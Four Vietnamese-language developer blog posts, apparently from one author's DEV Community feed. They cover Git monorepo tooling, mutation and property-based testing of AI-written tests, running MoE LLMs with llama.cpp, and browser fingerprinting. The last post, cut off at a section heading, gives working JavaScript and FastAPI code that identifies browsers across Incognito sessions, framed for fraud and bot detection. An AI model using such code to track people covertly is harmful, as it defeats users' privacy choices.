DEV Community: EME GUG

Taming Huge Git Repos: Partial Clone, Sparse-Checkout and Scalar in Practice

EME GUG — Tue, 13 Oct 2026 23:45:31 +0000

Tuần này trên HN có bài về việc Anthropic thiết kế lại hệ thống source control nội bộ. Đọc xong mình thấy quen, vì team nào để monorepo phình lên vài chục GB cũng sẽ gặp đúng những vấn đề đó: git clone mất 40 phút, git status chạy 8 giây, CI thì tốn phần lớn thời gian để kéo code về. Phần lớn chúng ta không cần (và cũng không nên) tự viết VCS riêng. Git bản hiện đại đã có sẵn công cụ để xử lý repo lớn, chỉ là ít người dùng. Bài này tổng hợp những gì mình đã áp dụng cho một monorepo khoảng 18GB, gồm partial clone, sparse-checkout, Scalar và vài config đáng bật.

1. Biết repo nặng vì đâu trước khi tối ưu

Repo chậm thường vì một trong ba lý do sau, hoặc cả ba:

Nhiều blob lớn trong history: ai đó từng commit file .zip, model ML, dump SQL rồi xóa đi, nhưng các blob đó vẫn còn trong history.
Nhiều file trong working tree: hàng trăm nghìn file khiến git status phải stat() từng file một.
History dài: hàng triệu commit làm git log, git blame và merge-base chậm đi.

Để biết repo của mình thuộc loại nào, mình hay dùng script Python sau để liệt kê các blob lớn nhất trong toàn bộ history:

#!/usr/bin/env python3
# find_big_blobs.py - liệt kê top N blob lớn nhất trong history
import subprocess
import sys

TOP_N = int(sys.argv[1]) if len(sys.argv) > 1 else 20

rev_list = subprocess.Popen(
    ["git", "rev-list", "--objects", "--all"],
    stdout=subprocess.PIPE,
)
cat_file = subprocess.run(
    ["git", "cat-file",
     "--batch-check=%(objecttype) %(objectname) %(objectsize) %(rest)"],
    stdin=rev_list.stdout,
    capture_output=True,
    text=True,
)

blobs = []
for line in cat_file.stdout.splitlines():
    parts = line.split(" ", 3)
    if parts[0] == "blob":
        path = parts[3] if len(parts) > 3 else "(unknown)"
        blobs.append((int(parts[2]), parts[1][:10], path))

blobs.sort(reverse=True)
total = sum(b[0] for b in blobs)
print(f"Tổng {len(blobs)} blob, {total / 1024**3:.2f} GB (chưa nén)")
for size, sha, path in blobs[:TOP_N]:
    print(f"{size / 1024**2:8.1f} MB  {sha}  {path}")

Chạy python3 find_big_blobs.py 30 ở repo của mình thì thấy khoảng 70% dung lượng nằm ở các file .onnx và .parquet có từ 3 năm trước. Lúc đó có hai lựa chọn. Một là rewrite history bằng git filter-repo, nhưng cách này đau vì mọi người phải clone lại và mọi SHA đều đổi. Hai là giữ nguyên history và để client không tải blob mình không cần. Trên repo dùng chung, mình gần như luôn chọn cách thứ hai.

2. Partial clone: chỉ tải blob khi thật sự cần

Partial clone ổn định từ khoảng Git 2.22 trở đi, và GitHub, GitLab, Bitbucket đều đã hỗ trợ. Có hai filter hay dùng:

# Blobless clone: tải toàn bộ commit + tree, blob thì tải lazy
git clone --filter=blob:none git@github.com:company/monorepo.git

# Treeless clone: chỉ tải commit, tree và blob đều lazy (hợp cho CI build 1 lần)
git clone --filter=tree:0 git@github.com:company/monorepo.git

# Kiểm tra repo hiện tại có phải partial clone không
git config --get remote.origin.promisor        # true
git config --get remote.origin.partialclonefilter  # blob:none

Với repo 18GB của mình, blobless clone còn khoảng 1.9GB và mất chưa tới 3 phút. Cơ chế hoạt động như sau:

sequenceDiagram
    participant Dev as Developer
    participant Local as Local repo
    participant Remote as Remote (promisor)
    Dev->>Local: git clone --filter=blob:none
    Remote-->>Local: commits + trees (không có blob)
    Dev->>Local: git checkout main
    Local->>Remote: fetch các blob của HEAD
    Remote-->>Local: blobs cần thiết
    Dev->>Local: git log -p old_file.py
    Local->>Remote: fetch lazy blob của commit cũ
    Remote-->>Local: blob cũ

Cần lưu ý là partial clone đổi dung lượng lấy network. Các lệnh phải đọc nội dung file cũ như git blame hay git log -p trên một file có history dài sẽ phải kéo blob về, nên lần đầu chạy sẽ chậm và cần có mạng. Với developer thì blob:none là lựa chọn hợp lý. Mình không khuyên dùng tree:0 cho máy dev, vì khi đó gần như lệnh nào cũng phải fetch thêm.

3. Sparse-checkout: chỉ checkout phần mình làm

Partial clone giải quyết chuyện dung lượng. Sparse-checkout giải quyết chuyện working tree có quá nhiều file. Nên dùng cone mode (mặc định từ Git 2.27+), vì nó match theo thư mục và nhanh hơn nhiều so với pattern kiểu .gitignore:

# Clone kết hợp cả hai: blobless + sparse
git clone --filter=blob:none --sparse git@github.com:company/monorepo.git
cd monorepo

# Lúc này chỉ có file ở root. Thêm các thư mục cần làm:
git sparse-checkout set services/payment libs/common tools/ci

# Thêm thư mục mà không ghi đè danh sách cũ
git sparse-checkout add services/notification

# Xem đang checkout những gì
git sparse-checkout list

# Muốn quay lại full checkout
git sparse-checkout disable

Kết hợp hai kỹ thuật này thì blob của các thư mục nằm ngoài sparse set sẽ không bao giờ bị tải về. Ở team mình, mỗi service có một file .sparse-profile liệt kê dependency, kèm một target make sparse SERVICE=payment để set cho đúng. Người mới vào chỉ cần clone vài trăm MB thay vì 18GB.

Vẫn còn vài vấn đề cần biết. IDE như IntelliJ hay VS Code có thể báo thiếu import nếu code tham chiếu tới thư mục ngoài sparse set. Build tool như Bazel, Nx hay Turborepo cũng cần biết dependency graph để không đi tìm file không tồn tại. Vì vậy hãy sinh sparse set từ dependency graph của build tool, đừng viết tay.

4. Scalar và các config nên bật

Từ Git 2.38, scalar được tích hợp sẵn trong Git. Thực chất nó là một wrapper bật sẵn các config tốt cho repo lớn:

# Clone mới theo cách của Scalar: blobless + sparse + maintenance
scalar clone git@github.com:company/monorepo.git
# Lưu ý: code nằm trong monorepo/src/

# Hoặc áp dụng cho repo đã clone sẵn
cd ~/work/monorepo
scalar register

# Nếu không muốn dùng scalar, bật tay các config quan trọng:
git config core.fsmonitor true          # built-in fsmonitor (macOS/Windows, Git 2.37+)
git config core.untrackedCache true
git config feature.manyFiles true       # index v4 + untracked cache
git config fetch.writeCommitGraph true
git commit-graph write --reachable --changed-paths
git maintenance start                   # chạy prefetch, gc, commit-graph nền

Trên MacBook M3 của mình, git status giảm từ 6.2 giây xuống còn khoảng 0.3 giây chủ yếu nhờ core.fsmonitor. Git chạy một daemon theo dõi file system event, nhờ vậy không phải quét lại cả cây thư mục mỗi lần. Còn --changed-paths tạo Bloom filter trong commit-graph, giúp git log -- path/to/file nhanh lên rõ rệt.

Dưới đây là cách mình chọn chiến lược theo từng tình huống:

flowchart TD
    A[Cần clone repo lớn] --> B{Dùng cho việc gì?}
    B -->|CI build 1 lần| C[--depth=1 hoặc --filter=tree:0]
    B -->|Developer hằng ngày| D{Làm toàn repo?}
    D -->|Có| E[--filter=blob:none + fsmonitor]
    D -->|Chỉ vài service| F[scalar clone + sparse-checkout set]
    B -->|Cần blame/history sâu| G[Full clone + commit-graph]

Với CI, shallow clone --depth=1 vẫn là cách nhanh nhất cho job chỉ build và test. Nếu job cần tính diff với main, ví dụ để chỉ test các package bị ảnh hưởng, thì dùng --filter=blob:none với fetch-depth: 0 sẽ hợp lý hơn shallow, vì shallow clone hay làm hỏng git merge-base.

Kết luận

Trước khi nghĩ tới chuyện tách repo hay đổi VCS, hãy dùng hết những gì Git đã có sẵn:

Đo trước: chạy script tìm blob lớn và time git status để biết repo chậm vì dung lượng, số file hay history.
Developer dùng --filter=blob:none: dung lượng giảm 5 đến 10 lần mà gần như không mất gì.
Monorepo nhiều team thì thêm sparse-checkout cone mode, và sinh sparse set từ dependency graph của build tool.
Bật core.fsmonitor, feature.manyFiles và git maintenance start, hoặc chạy scalar register cho nhanh. Đây là thay đổi tốn ít công nhất mà hiệu quả nhiều nhất.
Với CI, chọn giữa shallow và treeless tùy job có cần history hay không, đừng dùng full clone theo mặc định.
Chặn blob lớn ngay từ đầu bằng pre-commit hook giới hạn kích thước file, và đưa artifact như model hay dataset ra object storage hoặc Git LFS.

Repo lớn không có gì sai. Vấn đề là dùng công cụ cho repo 50MB để làm việc với repo 50GB. Chỉ cần cấu hình đúng vài lệnh là đủ để team bớt mất thời gian chờ clone mỗi sáng.

Your AI-Written Tests Are Too Polite: Mutation Testing and Property-Based Testing to Catch Slop

EME GUG — Tue, 13 Oct 2026 15:19:43 +0000

Dạo này mình review PR thì thấy một kiểu rất quen: code do AI viết, test cũng do AI viết, coverage báo 95%, CI xanh. Nhìn thì yên tâm, nhưng deploy xong vẫn dính bug ở những case "hiển nhiên". Lý do khá đơn giản: khi cùng một model viết cả code lẫn test, test thường chỉ xác nhận lại những gì code đang làm chứ không thật sự kiểm tra code có đúng không. Test kiểu đó quá "lịch sự", không chịu cãi lại code. Trên Dev.to gần đây có bài "AI Needs a Test That Fights Back", còn trên HN thì người ta đang bàn chuyện dùng AI tốt cũng là một kỹ năng. Mình đồng ý với cả hai. Trong bài này mình chia sẻ hai kỹ thuật mình đang dùng thật để bắt test phải "đánh lại": mutation testing và property-based testing.

Vấn đề: coverage cao không có nghĩa là test tốt

Coverage chỉ cho biết dòng code nào đã chạy, không cho biết test có assert đúng thứ cần assert hay không. Lấy một ví dụ thực tế:

# src/pricing.py
def apply_discount(price: int, percent: int) -> int:
    if percent < 0 or percent > 100:
        raise ValueError("percent must be 0-100")
    return price - price * percent // 100

Đây là bộ test mà AI sinh ra cho hàm trên, khá đúng kiểu thường gặp:

# tests/test_pricing.py
import pytest
from src.pricing import apply_discount

def test_apply_discount():
    assert apply_discount(100, 10) == 90

def test_invalid_percent():
    with pytest.raises(ValueError):
        apply_discount(100, 150)

Coverage đạt 100%. Thử nghĩ xem chuyện gì xảy ra nếu ai đó vô tình đổi percent > 100 thành percent >= 100? Hoặc đổi // thành /? Với / thì apply_discount(100, 10) trả về 90.0, mà 90.0 == 90 trong Python vẫn là True. Cả hai bug này đều lọt qua bộ test. Kiểu test này chỉ tạo cảm giác an toàn chứ không bảo vệ được gì.

Mutation testing: cố tình phá code xem test có phát hiện không

Ý tưởng của mutation testing: tool tự sinh ra hàng loạt phiên bản "đột biến" (mutant) của code, ví dụ đổi > thành >=, + thành -, True thành False, rồi chạy lại test suite với từng mutant. Mutant nào làm test fail là bị "killed" (tốt). Mutant nào test vẫn pass là "survived", tức là test của bạn có lỗ hổng ở đúng chỗ đó.

flowchart LR
    A[Source code] --> B[Mutation tool]
    B --> C[Mutant 1: > thành >=]
    B --> D[Mutant 2: // thành /]
    C --> E{Chạy test suite}
    D --> E
    E -->|Test fail| F[Killed ✅]
    E -->|Test pass| G[Survived ❌]
    G --> H[Viết thêm test / sửa assert]
    H --> A

Với Python, mình dùng mutmut 3.x. Cách setup:

pip install "mutmut>=3.0" pytest hypothesis

# pyproject.toml
cat >> pyproject.toml <<'EOF'
[tool.mutmut]
paths_to_mutate = ["src/"]
tests_dir = ["tests/"]
EOF

mutmut run          # sinh mutant và chạy test
mutmut results      # liệt kê các mutant survived
mutmut show src.pricing.x_apply_discount__mutmut_3   # xem diff của 1 mutant

Chạy với bộ test ở trên, mutmut sẽ báo vài mutant survived, trong đó có đúng hai mutant >= và / mình vừa nói. Đây là danh sách việc cần làm cụ thể, không phải con số coverage chung chung.

Với JavaScript/TypeScript thì dùng StrykerJS (bản 8.x trở lên):

npm i -D @stryker-mutator/core @stryker-mutator/vitest-runner
npx stryker init

Trong stryker.config.json, mình luôn đặt threshold để CI fail khi mutation score tụt:

{
  "testRunner": "vitest",
  "mutate": ["src/**/*.ts", "!src/**/*.test.ts"],
  "thresholds": { "high": 80, "low": 60, "break": 50 },
  "incremental": true
}

Nên bật incremental: true, vì mutation testing chạy chậm (N mutant tương đương N lần chạy test). Với repo lớn, mình chỉ chạy trên các file thay đổi trong PR.

Property-based testing: đừng để AI chọn input

Vấn đề thứ hai của test do AI viết là nó tự chọn ví dụ "đẹp", kiểu 100 và 10. Property-based testing đảo ngược cách làm: bạn mô tả tính chất luôn đúng, còn tool tự sinh hàng trăm input, kể cả những edge case bạn không nghĩ ra. Với Python, mình dùng Hypothesis 6.x:

# tests/test_pricing_props.py
import pytest
from hypothesis import given, strategies as st
from src.pricing import apply_discount

prices = st.integers(min_value=0, max_value=10**9)
valid_percents = st.integers(min_value=0, max_value=100)

@given(price=prices, percent=valid_percents)
def test_result_is_int_and_in_range(price, percent):
    result = apply_discount(price, percent)
    assert type(result) is int          # giết mutant // -> /
    assert 0 <= result <= price

@given(price=prices)
def test_boundaries(price):
    assert apply_discount(price, 0) == price
    assert apply_discount(price, 100) == 0   # giết mutant > -> >=

@given(percent=st.one_of(st.integers(max_value=-1), st.integers(min_value=101)))
def test_rejects_out_of_range(percent):
    with pytest.raises(ValueError):
        apply_discount(1000, percent)

Để ý là mình dùng type(result) is int chứ không dùng ==. Đây là kiểu assert mà AI hay bỏ qua. Chạy lại mutmut run, hai mutant survived lúc nãy đã bị kill.

Với JS thì có fast-check, cách dùng tương tự: fc.assert(fc.property(fc.integer(), ...)).

Workflow mình đang dùng với AI

Điểm mấu chốt: tách vai trò. Đừng để AI vừa đá bóng vừa thổi còi.

sequenceDiagram
    participant Dev
    participant AI
    participant Mut as mutmut/Stryker
    Dev->>AI: Viết function + unit test
    AI-->>Dev: Code + test (coverage cao)
    Dev->>Mut: Chạy mutation testing
    Mut-->>Dev: Danh sách mutant survived
    Dev->>AI: Gửi diff mutant, yêu cầu viết test kill nó
    AI-->>Dev: Test mới
    Dev->>Mut: Chạy lại, kiểm tra score

Vài kinh nghiệm thực tế:

Đưa diff của mutant cho AI, đừng chỉ nói "viết thêm test". Prompt kiểu "mutant này survived, hãy viết test fail với mutant nhưng pass với code gốc" cho kết quả tốt hơn hẳn, vì AI có một mục tiêu cụ thể để "đánh".
Property do người viết, còn implementation thì để AI viết. Tính chất như "kết quả không bao giờ âm" hay "encode rồi decode ra lại input" là business logic, bạn phải hiểu và tự viết ra.
Không cần đạt 100% mutation score. Có những mutant tương đương (equivalent mutant), tức là đổi code nhưng hành vi không đổi. Mình đặt mục tiêu khoảng 70-80% cho core logic và bỏ qua phần glue code.
Chạy mutation testing nightly hoặc chỉ trên file thay đổi, đừng chạy trên mọi commit nếu repo lớn.

Kết luận

AI giúp viết test nhanh hơn rất nhiều, nhưng test nhanh mà không bắt được bug thì chỉ là slop có coverage cao. Những việc bạn có thể làm ngay tuần này:

Cài mutmut (Python) hoặc @stryker-mutator/core (JS/TS) và chạy thử trên một module core đang có coverage cao. Gần như chắc chắn bạn sẽ thấy mutant survived.
Với mỗi hàm xử lý tiền, ngày giờ hoặc parsing, viết ít nhất một property test bằng Hypothesis hoặc fast-check, tập trung vào giá trị biên (0, max, âm).
Đổi cách prompt AI: thay vì "viết test cho hàm này", hãy đưa diff của mutant survived và yêu cầu nó kill mutant đó.
Thêm threshold break vào CI để mutation score không âm thầm tụt theo thời gian.

Test tốt phải có khả năng fail khi code sai. Nếu chưa từng thấy test của mình fail lần nào, bạn nên nghi ngờ nó.

Running MoE LLMs Larger Than Your RAM: A Practical Guide to mmap, Expert Offloading and SSD Streaming with llama.cpp

EME GUG — Tue, 13 Oct 2026 01:54:07 +0000

Tuần này trên Hacker News có một project khá thú vị tên Janas: chạy LLM lớn hơn RAM bằng cách stream các expert từ SSD. Đọc xong mình nhớ lại hồi đầu năm, khi cố nhét một model MoE hơn 100B params vào con laptop 32GB RAM. Lần đầu thì máy treo cứng, swap kín ổ. Lần sau thì chạy được khoảng 8 tokens/s, vì lúc đó mình đã hiểu model MoE thực sự dùng bộ nhớ thế nào. Ở Việt Nam, card 24GB VRAM vẫn còn đắt, thuê GPU cloud tính theo USD cũng không rẻ, nên biết cách vắt kiệt phần cứng đang có là một kỹ năng đáng học. Bài này mình chia sẻ cách làm thực tế với llama.cpp: cái gì nên nằm trên GPU, cái gì để ở RAM, cái gì có thể để trên SSD.

Vì sao MoE chạy được khi lớn hơn RAM, còn dense model thì không

Với một dense model như Llama 3.1 70B, token nào cũng phải đi qua toàn bộ weights. Nếu weights không nằm hết trong RAM, mỗi token sẽ phải đọc lại hàng chục GB từ ổ đĩa. Kể cả NVMe Gen4 đọc được khoảng 7 GB/s thì tốc độ vẫn chỉ quanh mức 1 token mỗi vài giây, gần như không dùng được.

MoE (Mixture of Experts) thì khác. Lấy ví dụ gpt-oss-120b: tổng cộng khoảng 117B params, nhưng mỗi token chỉ kích hoạt khoảng 5.1B. Qwen3-30B-A3B là 30B tổng và khoảng 3B active. Router ở mỗi layer chọn vài expert (thường top-4 hoặc top-8 trong vài chục đến 128 expert), phần còn lại không bị đụng tới.

Từ đó có hai hệ quả:

Attention, embedding và shared layers được dùng ở mọi token. Phần này nhỏ, nên đặt ở chỗ nhanh nhất là VRAM.
Expert FFN weights chiếm phần lớn dung lượng nhưng mỗi lần chỉ một phần nhỏ được đọc. Phần này đặt ở RAM, và nếu RAM không đủ thì để OS page từ SSD vào.

flowchart LR
    T[Token input] --> A[Attention + Norm<br/>VRAM - luôn dùng]
    A --> R{Router}
    R -->|top-k| E1[Expert 3<br/>RAM / page cache]
    R -->|top-k| E2[Expert 17<br/>RAM / page cache]
    R -.không chọn.-> E3[Expert khác<br/>nằm trên SSD]
    E1 --> O[Output layer]
    E2 --> O

Điều mấu chốt là các expert không được chọn đều như nhau. Thực tế, với cùng một loại prompt (ví dụ toàn là code Python), router có xu hướng chọn đi chọn lại một nhóm expert. Linux page cache sẽ tự giữ nhóm “hot” này trong RAM, còn các expert “cold” nằm trên SSD và chỉ được đọc khi cần. Janas và các project tương tự tối ưu thêm ở tầng này: prefetch, cache LRU theo expert. Nhưng chỉ với mmap mặc định của llama.cpp, bạn đã có được phần lớn lợi ích.

Tính toán trước khi tải model 60GB về

Đừng tải model rồi mới biết là không chạy nổi. Mình dùng script nhỏ dưới đây để ước lượng trước. Nó đọc metadata GGUF bằng package gguf (pip install gguf, mình dùng bản 0.10+) và cộng dung lượng tensor theo nhóm:

# estimate_moe.py - ước lượng bộ nhớ cho model GGUF
import sys, re
from gguf import GGUFReader

path = sys.argv[1]
reader = GGUFReader(path)

expert_bytes, other_bytes = 0, 0
for t in reader.tensors:
    size = int(t.n_bytes)
    # tensor expert trong llama.cpp có tên dạng blk.N.ffn_up_exps.weight
    if re.search(r"ffn_(up|down|gate)_exps", t.name):
        expert_bytes += size
    else:
        other_bytes += size

gb = lambda b: b / 1024**3
print(f"Non-expert (nên ở VRAM): {gb(other_bytes):6.1f} GB")
print(f"Expert weights (RAM/SSD): {gb(expert_bytes):6.1f} GB")
print(f"Tổng:                     {gb(expert_bytes + other_bytes):6.1f} GB")

Chạy thử với bản Q4 của một model khoảng 120B, mình thấy phần non-expert chỉ vài GB, vừa với card 8GB. Expert thì khoảng 55-60GB. Nếu máy có 64GB RAM thì gần như nằm gọn trong page cache. Máy 32GB thì một nửa sẽ phải đọc từ SSD, và đến lúc này tốc độ SSD bắt đầu ảnh hưởng thật.

Kinh nghiệm của mình:

RAM khoảng ≥ 70% dung lượng expert: tốc độ gần như không khác chạy full RAM.
RAM khoảng 40-70%: chạy được, tốc độ dao động theo prompt. Đổi chủ đề sẽ chậm vài giây đầu.
RAM < 40%: thường không đáng, nên chọn quant nhỏ hơn hoặc model nhỏ hơn.

Cấu hình llama.cpp: đẩy expert ra khỏi GPU

Từ khoảng giữa 2025, llama.cpp đã có flag --n-cpu-moe và --override-tensor (-ot) để điều khiển chính xác tensor nào nằm ở đâu. Đây là cấu hình mình đang dùng với card 12GB:

# Build bản mới nhất có CUDA
git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp
cmake -B build -DGGML_CUDA=ON && cmake --build build -j --config Release

# Cách 1: offload toàn bộ layer lên GPU, nhưng ép expert về CPU
./build/bin/llama-server \
  -m ~/models/gpt-oss-120b-Q4_K_M.gguf \
  -ngl 99 \
  -ot ".ffn_.*_exps.=CPU" \
  -c 16384 -t 8 --port 8080

# Cách 2: cú pháp gọn hơn, giữ expert của N layer đầu trên CPU
# Tăng/giảm N cho tới khi VRAM vừa đủ
./build/bin/llama-server -m ~/models/gpt-oss-120b-Q4_K_M.gguf \
  -ngl 99 --n-cpu-moe 30 -c 16384

Một vài lưu ý mình học được sau khi thử sai:

Đừng thêm --no-mmap khi model lớn hơn RAM. Flag đó bắt llama.cpp load hết vào RAM, và process sẽ bị OOM killer giết. mmap mặc định để kernel tự quyết page nào giữ, page nào bỏ.
Đừng dùng --mlock trong trường hợp này. Nó khóa toàn bộ pages vào RAM và sẽ fail ngay.
-t (threads) nên đặt bằng số physical core, không phải số logic thread. Expert matmul trên CPU bị giới hạn bởi memory bandwidth, thêm thread hyperthreading thường còn chậm hơn.
Nếu dư VRAM, giảm --n-cpu-moe để đưa vài layer expert lên GPU. Mỗi layer chuyển lên thường tăng thêm vài phần trăm tốc độ.

sequenceDiagram
    participant G as GPU (VRAM)
    participant C as CPU
    participant P as Page cache (RAM)
    participant S as NVMe SSD
    G->>G: Attention layer N
    G->>C: hidden state + expert ids
    C->>P: đọc weights expert
    P-->>S: page fault (expert cold)
    S-->>P: load pages
    P-->>C: weights
    C->>G: kết quả FFN

Theo dõi xem SSD có đang là bottleneck không

Khi tokens/s thấp hơn dự kiến, việc đầu tiên mình làm là xem ổ đĩa có đang bị đọc liên tục không. Trên Linux:

# Terminal 1: theo dõi read throughput của NVMe mỗi giây
iostat -xm 1 nvme0n1

# Terminal 2: đếm major page fault của llama-server
PID=$(pgrep -f llama-server)
watch -n1 "ps -o maj_flt,rss -p $PID"

# Xem bao nhiêu phần của file model đang nằm trong page cache
# (cần cài vmtouch: apt install vmtouch)
vmtouch -v ~/models/gpt-oss-120b-Q4_K_M.gguf | tail -3

Cách đọc kết quả:

rMB/s trong iostat cao liên tục (vài GB/s) trong lúc generate nghĩa là đang thrash. Working set lớn hơn RAM, cần giảm context, dùng quant nhỏ hơn, hoặc đóng bớt Chrome.
maj_flt tăng mạnh ở vài chục token đầu rồi đứng yên là bình thường, đó là giai đoạn warm-up.
vmtouch cho biết khoảng bao nhiêu % file đã resident. Nếu muốn warm cache trước khi demo, chạy vmtouch -t lên file model.

Trên macOS với Apple Silicon thì hơi khác, vì unified memory làm ranh giới giữa VRAM và RAM bị xóa. Lúc này bạn chỉ cần quan tâm tổng RAM và dùng sudo fs_usage -f diskio | grep llama để xem ổ đĩa có bị đọc liên tục không.

Kết luận

Chạy model lớn hơn RAM không phải là phép màu. Nó chỉ khả thi với MoE và chỉ hiệu quả khi working set của expert vừa với page cache. Những gì nên làm ngay:

Chọn MoE thay vì dense nếu phần cứng hạn chế. Một model 30B-A3B trên laptop 16GB thường cho trải nghiệm tốt hơn một dense 14B bị quant quá tay.
Chạy script ước lượng trước khi tải về để biết tỷ lệ RAM so với dung lượng expert.
Dùng -ngl 99 cùng --n-cpu-moe (hoặc -ot) để attention ở GPU, expert ở CPU. Giữ mmap mặc định, bỏ --no-mmap và --mlock.
Đầu tư SSD NVMe Gen4 trước khi nâng GPU, nếu bạn hay chạy model lớn. Đọc ngẫu nhiên nhanh ảnh hưởng trực tiếp đến tốc độ khi cache miss.
Đo bằng iostat và vmtouch thay vì đoán. Đa số lần chậm mình gặp đều do thrash chứ không phải do CPU.

Các project như Janas đang đẩy hướng này đi xa hơn với prefetch thông minh theo router. Nhưng nếu nắm chắc nền tảng mmap và tensor placement, bạn đã có thể chạy những model mà một năm trước phải cần server mới chạy nổi, ngay trên máy cá nhân.

Fingerprints Are the New Cookies: How Browser Fingerprinting Works and What Developers Should Do About It

EME GUG — Mon, 12 Oct 2026 14:40:56 +0000

Hồi trước, muốn track user thì cứ set một cái cookie là xong. Giờ thì khác rồi: Safari có ITP, Firefox có Total Cookie Protection, Chrome cũng siết third-party cookie, user thì bấm "Reject all" ngay khi thấy cookie banner. Nhưng tracking không biến mất, nó chỉ chuyển sang chỗ khác: browser fingerprinting. Không cần lưu gì trên máy user, chỉ cần gom đủ tín hiệu từ trình duyệt là có thể nhận ra một người với độ chính xác khá cao, kể cả khi họ dùng Incognito.

Bài này mình không viết để dạy track người khác. Mục tiêu là để dev Việt hiểu cơ chế, biết code của mình (hoặc SDK bên thứ ba mình nhúng vào) đang làm gì, và dùng fingerprinting đúng chỗ: chống fraud, chống bot, phát hiện account takeover. Không dùng để quảng cáo lén.

Fingerprint được tạo ra từ đâu?

Ý tưởng cốt lõi rất đơn giản: mỗi thuộc tính riêng lẻ thì nhiều người trùng nhau, nhưng ghép 20-30 thuộc tính lại thì tổ hợp gần như là duy nhất. Nghiên cứu Panopticlick của EFF từ năm 2010 đã cho thấy khoảng 83% trình duyệt có fingerprint unique, và đến giờ con số đó chỉ có tăng.

Các nhóm tín hiệu phổ biến:

Passive (server thấy luôn): IP, User-Agent, Accept-Language, thứ tự HTTP header, TLS ClientHello (JA3/JA4), HTTP/2 SETTINGS frame.
Active (cần chạy JS): Canvas rendering, WebGL renderer/vendor, AudioContext, danh sách font, screen.width/height, devicePixelRatio, hardwareConcurrency, timezone, navigator.languages.

flowchart LR
    A[Browser] -->|TLS ClientHello| B[JA4 hash]
    A -->|HTTP headers| C[Header fingerprint]
    A -->|JS chạy trên trang| D[Canvas / WebGL / Audio]
    A -->|JS| E[Screen, fonts, timezone]
    B --> F[Combine + hash]
    C --> F
    D --> F
    E --> F
    F --> G[Visitor ID]

Điểm đáng sợ nhất là canvas fingerprint: cùng một đoạn vẽ text + gradient, nhưng GPU, driver, font rendering, anti-aliasing khác nhau sẽ ra pixel khác nhau. Hash cái output đó lại là có một ID khá ổn định.

Tự viết một fingerprint đơn giản bằng JavaScript

Đoạn dưới đây chạy được trên Chrome 120+, Firefox 120+, Safari 17+. Mình dùng crypto.subtle có sẵn, không cần thư viện:

async function sha256(text) {
  const buf = await crypto.subtle.digest('SHA-256', new TextEncoder().encode(text));
  return [...new Uint8Array(buf)].map(b => b.toString(16).padStart(2, '0')).join('');
}

function canvasSignal() {
  const c = document.createElement('canvas');
  c.width = 240; c.height = 60;
  const ctx = c.getContext('2d');
  ctx.textBaseline = 'top';
  ctx.font = '16px Arial';
  ctx.fillStyle = '#f60';
  ctx.fillRect(100, 1, 62, 20);
  ctx.fillStyle = '#069';
  ctx.fillText('Xin chào, fingerprint 🍜', 2, 15);
  return c.toDataURL();
}

function webglSignal() {
  const gl = document.createElement('canvas').getContext('webgl');
  if (!gl) return 'no-webgl';
  const ext = gl.getExtension('WEBGL_debug_renderer_info');
  return ext ? gl.getParameter(ext.UNMASKED_RENDERER_WEBGL) : 'masked';
}

async function getFingerprint() {
  const signals = {
    ua: navigator.userAgent,
    langs: navigator.languages.join(','),
    tz: Intl.DateTimeFormat().resolvedOptions().timeZone,
    screen: `${screen.width}x${screen.height}@${devicePixelRatio}`,
    cores: navigator.hardwareConcurrency,
    canvas: await sha256(canvasSignal()),
    webgl: webglSignal(),
  };
  return { id: await sha256(JSON.stringify(signals)), signals };
}

getFingerprint().then(fp => console.table(fp.signals));

Mở Chrome thường rồi mở Incognito, chạy lại: bạn sẽ thấy id y hệt nhau. Đó chính là lý do người ta nói fingerprint là cookie mới, chỉ khác là user không xóa được.

Thử trên Firefox với privacy.resistFingerprinting = true trong about:config, hoặc trên Brave/Tor Browser: canvas sẽ bị thêm noise hoặc trả về dữ liệu chuẩn hóa, timezone thành UTC, screen size bị làm tròn. ID sẽ đổi mỗi session hoặc trùng với hàng nghìn người khác.

Phía server: passive fingerprint không cần JavaScript

Nhiều bot dùng headless browser nên JS fingerprint có thể bị giả. Server-side fingerprint khó giả hơn vì nó nằm ở tầng network. Ví dụ đơn giản với FastAPI 0.115, gom các header và thứ tự của chúng:

import hashlib
from fastapi import FastAPI, Request

app = FastAPI()

SIGNAL_HEADERS = ['user-agent', 'accept', 'accept-language', 'accept-encoding',
                  'sec-ch-ua', 'sec-ch-ua-platform', 'sec-fetch-site']

@app.middleware('http')
async def passive_fp(request: Request, call_next):
    # Thứ tự header raw là tín hiệu rất mạnh: curl, requests, Chrome đều khác nhau
    order = ','.join(k.decode().lower() for k, _ in request.scope['headers'])
    values = '|'.join(request.headers.get(h, '-') for h in SIGNAL_HEADERS)
    ja4 = request.headers.get('x-ja4', '-')  # do reverse proxy gắn vào

    raw = f'{order}#{values}#{ja4}'
    request.state.fp = hashlib.sha256(raw.encode()).hexdigest()[:16]

    # Chrome thật luôn gửi sec-ch-ua; UA nói là Chrome mà thiếu thì đáng nghi
    ua = request.headers.get('user-agent', '')
    request.state.suspicious = 'Chrome/' in ua and 'sec-ch-ua' not in request.headers
    return await call_next(request)

@app.get('/whoami')
async def whoami(request: Request):
    return {'fp': request.state.fp, 'suspicious': request.state.suspicious}

Test nhanh bằng curl để thấy sự khác biệt:

# curl giả UA Chrome nhưng thiếu client hints -> suspicious = true
curl -s -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0) Chrome/129.0 Safari/537.36' \
  http://localhost:8000/whoami

# Xem TLS fingerprint của chính bạn (cần curl 8.x)
curl -sv https://localhost:8443 2>&1 | grep -E 'TLS|ALPN'

JA4 (bản kế nhiệm JA3, do FoxIO công bố năm 2023) hash các thông tin trong TLS ClientHello như cipher suites, extensions, ALPN. Python requests có JA4 khác hẳn Chrome, nên dù bot có giả User-Agent hoàn hảo thì tầng TLS vẫn lộ. Nginx có module, HAProxy 3.x và nhiều CDN đã hỗ trợ tính JA4 rồi gắn vào header cho backend.

sequenceDiagram
    participant C as Client
    participant P as Reverse Proxy
    participant A as App
    participant R as Risk Engine
    C->>P: TLS ClientHello
    P->>P: Tính JA4
    C->>P: HTTP request + headers
    P->>A: Forward + x-ja4
    A->>R: fp + JS fingerprint + IP
    R-->>A: score (allow / challenge / block)
    A-->>C: Response hoặc CAPTCHA

Dùng đúng chỗ: fraud, không phải tracking

